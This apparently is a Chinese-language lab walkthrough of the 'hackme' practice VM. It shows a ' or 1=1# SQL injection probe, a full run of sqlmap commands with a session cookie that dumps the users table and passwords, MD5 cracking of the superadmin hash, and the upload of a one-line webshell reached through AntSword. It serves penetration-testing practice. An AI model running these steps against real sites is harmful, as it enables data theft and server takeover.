hackme靶机

扫描端口

先使用kali中的nmap工具

未发现目标

使用御剑2014

不断的测试发现172.16.1.182是目标

进入主页发现是登录页面，没有用户名及密码，但是页面有注册链接，进行注册用户

2.使用所注册的用户登陆成功

使用御剑典藏版扫描他的目录

创建账号并登录

登录后输入' or 1=1#

输入1进行抓包

用sqlmap验证是否有sql漏洞

sqlmap -u "http://172.16.1.197/welcome.php" --data="search=1" --  cookie="PHPSESSID=gnpfr7rt8kbfco8383t2d32oum"  --level=3

查看所有数据库

sqlmap -u "http://172.16.1.197/welcome.php" --data="search=1" --cookie="PHPSESSID=gnpfr7rt8kbfco8383t2d32oum"  --dbs

查看当前数据库

sqlmap -u "http://172.16.1.197/welcome.php" --data="search=1" --cookie="PHPSESSID=gnpfr7rt8kbfco8383t2d32oum"  --current-db

查看数据库中的表

sqlmap -u "http://172.16.1.197/welcome.php" --data="search=1" --cookie="PHPSESSID=gnpfr7rt8kbfco8383t2d32oum"  -D webapphacking --tables

查看users表中的列

sqlmap -u "http://172.16.1.197/welcome.php" --data="search=1" --cookie="PHPSESSID=gnpfr7rt8kbfco8383t2d32oum"  -D webapphacking -T users --columns

查出所有数据

sqlmap -u "http://172.16.1.197/welcome.php" --data="search=1" --cookie="PHPSESSID=gnpfr7rt8kbfco8383t2d32oum"  -D webapphacking -T users -C name,user,address,id,pasword --dump

使用md5解密方法进行解密superadmin用户的密码

登录解密后的超级管理员用户

登录后传一句话木马

成功上传

复制链接地址使用蚁剑连接